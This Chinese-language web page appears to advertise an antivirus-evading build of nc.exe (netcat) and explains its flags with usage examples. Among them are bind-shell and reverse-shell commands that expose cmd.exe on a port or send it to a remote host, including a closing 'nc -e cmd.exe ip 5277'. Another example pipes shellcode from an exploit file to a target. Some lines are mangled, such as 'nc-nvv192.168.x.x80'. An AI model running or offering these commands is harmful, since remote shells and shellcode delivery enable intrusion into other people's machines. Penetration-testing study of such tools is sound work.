nc.exe 使用方法

《nc.exe免杀版》瑞士*** nc.exe下载附使用方法

做网络安全测试在命令行下使用的网络监听工具。

 

软件功能介绍使用帮助说明：

参数说明： 
-h 查看帮助信息 
-d 后台模式 
-e prog程序重定向，一但连接就执行〔危险〕 
-i secs延时的间隔 
-l 监听模式，用于入站连接 
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C 
-n IP地址，不能用域名 
-o film记录16进制的传输 
-p[空格]端口 本地端口号 
-r 随机本地及远程端口 
-t 使用Telnet交互方式 
-u UDP模式 
-v 详细输出，用-vv将更详细 
-w数字 timeout延时间隔 
-z 将输入，输出关掉（用于扫锚时）

主要用法如下

1)连接到REMOTE主机，例子： 格式：nc -nvv 192.168.x.x 80 讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子： 格式：nc -l -p 80 讲解：监听本机的TCP80端口

3)扫描远程主机，例子： 格式：nc -nvv -w2 -z 192.168.x.x 80-445 讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子： 格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子： 格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法（其实NC的用法还有很多， 当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）。

高级用法：

6)作攻击程序用，例子：

格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2：nc-nvv192.168.x.x80

讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\ex ploit.txt'的内容(两种格式确有相同的效果， 真是有异曲同工之妙:P)

附：'c:\exploit.txt'为shellcode等 7)作蜜罐用[1]，例子： 格式：nc -L -p 80 讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止

8)作蜜罐用[2]，

例子： 格式：nc -L -p 80>c:\log.txt

讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把'& gt;' 改为'>>'即可以追加日志 附：'c:\log.txt'为日志等

9)作蜜罐用[3]，

例子： 格式1：nc -L -p 80 格式2：type.exe c:\honeypot.txt|nc -L -p 80

讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容'送'入其 管道中

nc -e cmd.exe ip 5277